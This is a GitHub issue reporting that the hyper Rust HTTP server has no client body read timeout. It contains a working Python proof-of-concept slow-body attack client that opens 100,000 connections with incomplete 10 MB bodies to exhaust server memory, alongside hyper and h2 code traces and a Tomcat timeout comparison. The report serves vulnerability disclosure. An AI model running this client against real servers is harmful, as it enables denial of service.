Skip to content

Hyper currently does not support client body read timeout #2864

Closed as not planned
@qinyushun

Description

@qinyushun

Version
0.13.10

Description

When the Hyper serves as the server, the client body reading timeout is not implemented. As a result, the connection may be fully occupied by slow attacks from the client and memory may be exhausted.

The following is an example of an attack:

  1. Use Hyper to create an HTTP server and perform HTTP1.1 and HTTP2 tests.

    Construct the following test code (for details, see the official example https://github.com/hyperium/hyper/blob/master/examples/params.rs). The sample code uses the to_bytes method to obtain the client body packet and print the body content.

    Server code:

    // Respond to all requests and use to_bytes to read the body.
    async fn handle(req: Request<Body>) -> Result<Response<Body>, hyper::Error> {
        let bytes = hyper::body::to_bytes(req).await?;
        let body: String = String::from_utf8_lossy(bytes.as_ref()).to_string();
        println!("body : {:?}", body); // Test whether the to_bytes method is suspended.
        Ok(Response::new("Hello, World!\n".into()))
    }
    
    #[tokio::main]
    async fn main() {
        let addr = SocketAddr::from(([0, 0, 0, 0], 1337));
        let make_svc = make_service_fn(|_conn| async {
            Ok::<_, Infallible>(service_fn(handle))
        });
        let server = Server::bind(&addr).serve(make_svc);
        if let Err(e) = server.await {
            eprintln!("server error: {}", e);
        }
    }

    1)Test the HTTP1 protocol stack. The HTTP1 protocol stack is a hyper project. The code is as follows:

    image

    Key code: conn.rs, io.rs, dispatch.rs, body.rs, and decode.rs.

    The test result shows that no data with the length of Content-Length is received. The io.rs keeps reading the data.

    fn read_mem(&mut self, cx: &mut task::Context<'_>, len: usize) -> Poll<io::Result<Bytes>> {
        if !self.read_buf.is_empty() {
            let n = std::cmp::min(len, self.read_buf.len());
            Poll::Ready(Ok(self.read_buf.split_to(n).freeze()))
        } else {
            println!("291 begin poll_read_from_io {:?}", len);
            let n = ready!(self.poll_read_from_io(cx))?;
            println!("291 end poll_read_from_io {:?}", len);
            Poll::Ready(Ok(self.read_buf.split_to(::std::cmp::min(len, n)).freeze()))
        }
    }

    After testing, the read_mem method keeps waiting for data. If the method does not return data, the to_bytes method at the data receiving end is suspended.

    The data read from the client is cached in the vec array variable of the to_bytes() method.

    pub async fn to_bytes<T>(body: T) -> Result<Bytes, T::Error>
    where
        T: HttpBody,
    {
        futures_util::pin_mut!(body);
    
        // If there's only 1 chunk, we can just return Buf::to_bytes()
        let mut first = if let Some(buf) = body.data().await {
            buf?
        } else {
            return Ok(Bytes::new());
        };
    
        let second = if let Some(buf) = body.data().await {
            buf?
        } else {
            return Ok(first.copy_to_bytes(first.remaining()));
        };
    
        // With more than 1 buf, we gotta flatten into a Vec first.
        let cap = first.remaining() + second.remaining() + body.size_hint().lower() as usize;
        let mut vec = Vec::with_capacity(cap);
        vec.put(first);
        vec.put(second);
    
        while let Some(buf) = body.data().await {
            vec.put(buf?);
        }
    
        Ok(vec.into())
    }

    Based on the preceding analysis, the attack client starts 100,000 processes and sets the Content-Length of the request packet to 10 MB. Each process sends 10 MB-1 data to the server until the process memory is exhausted, causing the host memory to be exhausted.

    Client code:

    #!/usr/bin/env python
    # coding=utf-8
    
    import socket
    import ssl
    import time
    import threading
    
    def send(id):
        s = ssl.wrap_socket(socket.socket())
        s.connect(("127.0.0.1", 1337))
        data = "GET /test HTTP/1.1\r\n" + \
                "Host: 127.0.0.1:1337\r\n" + \
                "Content-Length: 10480000\r\n\r\n"
        s.send(data.encode('utf-8'))
        for i in range(1000):
            body = b"1"*10479
            s.send(body)
        d = s.recv(1024)
        print("thread id %s finish:%s" % (id,d))
    
    threads = []
    for i in range(100000):
        threads.append(threading.Thread(target=send,args=(i,)))
    for t in threads:
        time.sleep(0.001)
        t.start()
    for t in threads:
        t.join()

    2)Testing HTTP2. The HTTP2 protocol stack of hyper is a subproject of H2.

    The data frame processing code for HTTP2 is in data.rs, which has a very important function:

    /// Gets the value of the `END_STREAM` flag for this frame.
    ///
    /// If true, this frame is the last that the endpoint will send for the
    /// identified stream.
    ///
    /// Setting this flag causes the stream to enter one of the "half-closed"
    /// states or the "closed" state (Section 5.1).
    pub fn is_end_stream(&self) -> bool {
        self.flags.is_end_stream()
    }
    

    In the send_data method in prioritize.rs, if frame.is_end_stream is set to true, the flow closing processing is updated.

    if frame.is_end_stream() {
        stream.state.send_close();
        self.reserve_capacity(0, stream, counts);
    }
    

    When the H2 protocol stack receives a data frame, if the data frame ends, is_end_stream() returns true. If the data frame does not end, false is returned. The H2 protocol stack continues to receive more data. If is_end_stream returns true, the end data receiving to_bytes method returns normally.

    The is_end_stream method of data.rs can directly return false. Even if the normal end frame is sent, the H2 protocol stack continuously receives data, and to_bytes is suspended.

    pub fn is_end_stream(&self) -> bool {
        let flag = self.flags.is_end_stream();
        println!("h2 data is_end_stream: {:?}", flag);
        false
    }
    

    According to the test result, if the is_end_stream method does not return true, to_bytes is suspended because the end frame is not correctly calculated during data reading at the HTTP2 bottom layer. As a result, to_bytes keeps processing the read status when reading data.

    A similar attack is used on HTTP2. The client does not send a data end frame, but the server waits for the data end frame. The client can send a large amount of data to the HIRO, causing the host memory to be exhausted.

  2. For other web containers, such as Tomcat, Nginx processes incomplete data. Tomcat has the SocketTime processing mechanism, and Nginx has the client_body_timeout processing mechanism. The problem does not occur when data is suspended. The following uses the timeout processing mechanism of the Tomcat as an example:

    1)The Tomcat process socket read timeout mechanism is as follows:

    Code in: org.apache.tomcat.util.net.Nio2Endpoint.fillReadBuffer method

    try {
        integer = ((Nio2Channel)this.getSocket()).read(to);
        long timeout = this.getReadTimeout();
        if (timeout > 0L) { //If timeout is set and no data is read from the socket within the timeout period, SocketTimeoutExcception is returned.
            nRead = (Integer)integer.get(timeout, TimeUnit.MILLISECONDS);
        } else {
            nRead = (Integer)integer.get();
        }
    } catch (ExecutionException var12) {
        if (var12.getCause() instanceof IOException) {
            throw (IOException)var12.getCause();
        }
        throw new IOException(var12);
    } catch (InterruptedException var13) {
        throw new IOException(var13);
    } catch (TimeoutException var14) {
        integer.cancel(true);
        throw new SocketTimeoutException();
    } finally {
        this.readPending.release();
    }
    

    If timeout is set and no data is read from the socket within the timeout period, SocketTimeoutExcception is returned.

    This parameter can be configured in the server.xml file:

    <Connector port="1337" protocol="HTTP/1.1"
               redirectPort="8443" 
               maxPostSize="200"
               connectionTimeout="20000" #This parameter can be used to set the SocketTimeout time, which is valid after testing.
               maxHttpHeaderSize="8192" 
               minSpareThreads="2" 
               maxThreads="100"/>
    

    The configured connectionTimeout is 20 seconds, which is valid after testing.

In conclusion, client body read timeout is a common slow attack defense method. Hyper is an excellent HTTP proxy component of Rust and should implement related functions.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions